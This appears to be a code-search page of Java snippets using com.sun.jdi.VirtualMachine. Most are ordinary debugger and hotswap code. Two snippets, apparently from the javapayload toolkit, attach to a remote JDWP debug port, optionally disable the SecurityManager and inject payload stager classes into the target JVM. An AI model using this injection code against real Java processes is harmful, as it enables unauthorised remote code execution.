Package com.sun.jdi

Examples of com.sun.jdi.VirtualMachine


                        }
                        if (ex instanceof IOException) {
                            throw (IOException)ex;
                        }

                        VirtualMachine vm= runnable.getVirtualMachine();
                        if (vm != null) {
                            DroolsDebugModel.newDebugTarget(launch, vm, renderDebugTarget(config.getClassToLaunch(), port), process, true, false, config.isResumeOnStartup());
                            subMonitor.worked(1);
                            subMonitor.done();
                        }
View Full Code Here


        }

        try {

            VirtualMachine vm = connector.attach(args);

            return vm;

        } catch (IllegalConnectorArgumentsException e) {
View Full Code Here

     */

    public void resume(Map jdwp) throws Exception {

        VirtualMachine vm = connect(jdwp);

        if (vm != null) {

            vm.resume();

            vm.dispose();

        }

    }
View Full Code Here

     */

    public void info(Map jdwp) throws Exception {

        VirtualMachine vm = connect(jdwp);

        if (vm != null) {

            System.out.println("java.vm.name = " + vm.name());

            System.out.println("java.version = " + vm.version());

            System.out.println(vm.description());

            vm.resume();

            vm.dispose();

        }

    }
View Full Code Here

    public void hotswap(Map jdwp) throws Exception {

        // @todo check it works at runtime not suspended

        VirtualMachine vm = ClassLoaderPatcher.hotswapClassLoader(

                System.getProperty(

                        ProcessStarter.CL_PRE_PROCESSOR_CLASSNAME_PROPERTY,

                        org.codehaus.aspectwerkz.hook.impl.ClassLoaderPreProcessorImpl.class.getName()

                ), (String) jdwp

                            .get(TRANSPORT_JDWP), (String) jdwp.get(ADDRESS_JDWP)

        );

        if (vm != null) {

            vm.resume();

            vm.dispose();

        }

    }
View Full Code Here

            try {
                secondsToWait = Integer.parseInt(System.getProperty(CONNECTION_WAIT_PROPERTY, "0"));
            } catch (NumberFormatException nfe) {
                ;
            }
            VirtualMachine vm = ClassLoaderPatcher.hotswapClassLoader(
                    clp,
                    starter.getTransport(),
                    starter.getAddress(),
                    secondsToWait
            );
            if (vm == null) {
                process.destroy();
            } else {
                vm.resume();
                vm.dispose();
            }
        }

        // attach VM other streams to this streams
        redirectOtherStreams();
View Full Code Here

            }

            // loop 10 times, during 5 sec max. It appears some VM under Linux take time to accept
            // connections
            // this avoid to specifically set -Daspectwerkz.classloader.wait
            VirtualMachine vm = null;
            ConnectException vmConnectionRefused = new ConnectException("should not appear as is");
            for (int retry = 0; retry < 10; retry++) {
                try {
                    vm = connector.attach(args);
                    break;
View Full Code Here

    for (int i=0; i < args.length; i++) {
        sb.append(' ');
        sb.append(args[i]);
    }
    //VirtualMachine vm = launchTarget(sb.toString());
    VirtualMachine vm = launchTarget(CLASS_NAME);

    System.out.println("Vm launched");
    // set watch field on already loaded classes
    List<ReferenceType> referenceTypes = vm
        .classesByName(CLASS_NAME);
    for (ReferenceType refType : referenceTypes) {
      addFieldWatch(vm, refType);
    }
    // watch for loaded classes
    addClassWatch(vm);

    // process events
    EventQueue eventQueue = vm.eventQueue();
    // resume the vm

    Process process = vm.process();


    // Copy target's output and error to our output and error.
    Thread outThread = new StreamRedirectThread("out reader", process.getInputStream());
    Thread errThread = new StreamRedirectThread("error reader", process.getErrorStream());

    errThread.start();
    outThread.start();


    vm.resume();
    boolean connected = true;
    while (connected) {
      EventSet eventSet = eventQueue.remove();
      for (Event event : eventSet) {
        if (event instanceof VMDeathEvent
View Full Code Here

  }
 
  public static void inject(String connector, final StagerHandler.Loader loader, String[] stagerArgs) throws Exception {
    final String stager = stagerArgs[0];
    final VirtualMachineManager vmm = com.sun.jdi.Bootstrap.virtualMachineManager();
    VirtualMachine vm = null;
    boolean disableSecurityManager = false;
    if (connector.endsWith("!")) {
      disableSecurityManager = true;
      connector = connector.substring(0, connector.length()-1);
    }
    final int pos = connector.lastIndexOf(':');
    if (pos == -1) {
      final int port = Integer.parseInt(connector);
      for (int i = 0; i < vmm.listeningConnectors().size(); i++) {
        final ListeningConnector lc = (ListeningConnector) vmm.listeningConnectors().get(i);
        if (lc.name().equals("com.sun.jdi.SocketListen")) {
          final Map connectorArgs = lc.defaultArguments();
          ((Argument) connectorArgs.get("port")).setValue("" + port);
          lc.startListening(connectorArgs);
          vm = lc.accept(connectorArgs);
          lc.stopListening(connectorArgs);
        }
      }
    } else {
      final int port = Integer.parseInt(connector.substring(pos + 1));
      for (int i = 0; i < vmm.attachingConnectors().size(); i++) {
        final AttachingConnector ac = (AttachingConnector) vmm.attachingConnectors().get(i);
        if (ac.name().equals("com.sun.jdi.SocketAttach")) {
          final Map connectorArgs = ac.defaultArguments();
          ((Argument) connectorArgs.get("hostname")).setValue(connector.substring(0, pos));
          ((Argument) connectorArgs.get("port")).setValue("" + port);
          vm = ac.attach(connectorArgs);
          break;
        }
      }
    }
    boolean isJDWPTunnelStager = stager.equals("JDWPTunnel");
    loader.handleBefore(loader.stageHandler.consoleErr, null); // may modify stagerArgs
    final StringBuffer embeddedArgs = new StringBuffer();
    for (int i = 0; i < stagerArgs.length; i++) {
      if (i != 0) {
        embeddedArgs.append("\n");
      }
      embeddedArgs.append("$").append(stagerArgs[i]);
    }
    Class[] classes = new Class[] {
        javapayload.stager.Stager.class,
        Class.forName("javapayload.stager." + stager),
        javapayload.loader.JDWPLoader.class
    };
    if (isJDWPTunnelStager) {
      classes = new Class[] {
          javapayload.loader.JDWPCommunication.class,
          javapayload.stager.Stager.class,
          javapayload.stager.JDWPTunnel.class,
          javapayload.loader.JDWPLoader.class
      };
    }
    final byte[][] classBytes = new byte[classes.length][];
    for (int i = 0; i < classes.length; i++) {
      final InputStream in = JDWPInjector.class.getResourceAsStream("/" + classes[i].getName().replace('.', '/') + ".class");
      final ByteArrayOutputStream out = new ByteArrayOutputStream();
      final byte[] tmp = new byte[4096];
      int len;
      while ((len = in.read(tmp)) != -1) {
        out.write(tmp, 0, len);
      }
      in.close();
      out.close();
      classBytes[i] = out.toByteArray();
      if (classBytes[i] == null) {
        throw new RuntimeException();
      }
    }
    ClassType firstInjectedClass = inject(vm, classBytes, embeddedArgs.toString(), disableSecurityManager, loader.stageHandler.consoleOut);

    if (isJDWPTunnelStager) {
      loader.handleAfter(loader.stageHandler.consoleErr, firstInjectedClass);
    } else {
      vm.dispose();
      loader.handleAfter(loader.stageHandler.consoleErr, null);
    }
  }
View Full Code Here

  protected void handle(StageHandler stageHandler, String[] parameters, PrintStream errorStream, Object extraArg) throws Exception {
    this.errorStream = errorStream;
    if (extraArg == null || !(extraArg instanceof ClassType))
      throw new IllegalArgumentException("No JDWP communication class found");
    communicationClass = (ClassType) extraArg;
    VirtualMachine vm = communicationClass.virtualMachine();
    if (vm.eventRequestManager().stepRequests().size() > 0) {
      throw new RuntimeException("Some threads are currently stepping");
    }
    if (vm.eventRequestManager().breakpointRequests().size() > 0) {
      throw new RuntimeException("There are some breakpoints set");
    }
    PipedOutputStream pos = new PipedOutputStream();
    pipedOut = new WrappedPipedOutputStream(pos);
    pipedIn = new PipedInputStream();
View Full Code Here

TOP

Related Classes of com.sun.jdi.VirtualMachine

Copyright © 2018 www.massapicom. All rights reserved.
All source code are property of their respective owners. Java is a trademark of Sun Microsystems, Inc and owned by ORACLE Inc. Contact coftware#gmail.com.